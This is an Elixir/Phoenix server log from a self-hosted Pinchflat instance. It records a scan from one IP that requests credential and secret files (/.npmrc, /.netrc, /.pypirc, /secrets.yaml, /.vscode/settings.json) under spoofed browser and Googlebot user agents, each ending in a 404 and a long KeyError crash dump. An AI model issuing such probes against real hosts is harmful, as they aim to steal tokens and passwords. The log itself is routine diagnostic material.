must-revalidate"}, {"x-request-id", "GMUnHVZyHedyWwIAAWcB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/settings.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 16, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/settings.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, (truncated) 02:50:34.284 [info] HEAD /.npmrc 02:50:34.284 [debug] QUERY OK source="settings" db=0.1ms idle=94.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:34.284 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:34.284 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:34.284 [error] #PID<0.3748.0> running PinchflatWeb.Endpoint (connection #PID<0.3727.0>, stream id 17) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.npmrc ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.npmrc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 17, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3748.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.npmrc", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHVatYWTFV-oAAWdB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.npmrc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 17, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.npmrc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 17, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3748.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_pat (truncated) 02:50:34.291 [info] HEAD /secrets.yaml 02:50:34.292 [debug] QUERY OK source="settings" db=0.2ms idle=13.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:34.292 [debug] QUERY OK source="settings" db=0.2ms idle=11.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:34.292 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:34.292 [error] #PID<0.3749.0> running PinchflatWeb.Endpoint (connection #PID<0.3727.0>, stream id 18) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /secrets.yaml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yaml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 18, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3749.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/secrets.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHVciH8GFuDUAAWeB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yaml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 18, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yaml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 18, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3749.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9 (truncated) 02:50:34.296 [info] HEAD /.pypirc 02:50:34.296 [info] HEAD /.netrc 02:50:34.296 [debug] QUERY OK source="settings" db=0.2ms queue=0.2ms idle=15.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:34.297 [debug] QUERY OK source="settings" db=0.3ms idle=12.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:34.297 [debug] QUERY OK source="settings" db=0.1ms idle=12.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:34.297 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:34.297 [debug] QUERY OK source="settings" db=0.2ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:34.297 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:34.298 [error] #PID<0.3751.0> running PinchflatWeb.Endpoint (connection #PID<0.3716.0>, stream id 7) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.netrc ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.netrc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3751.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.netrc", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHVdtcdkbJpwAAWgB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.netrc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3716.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.netrc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40276}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3751.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gz (truncated) 02:50:34.297 [error] #PID<0.3750.0> running PinchflatWeb.Endpoint (connection #PID<0.3727.0>, stream id 19) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.pypirc ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.pypirc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 19, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3750.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 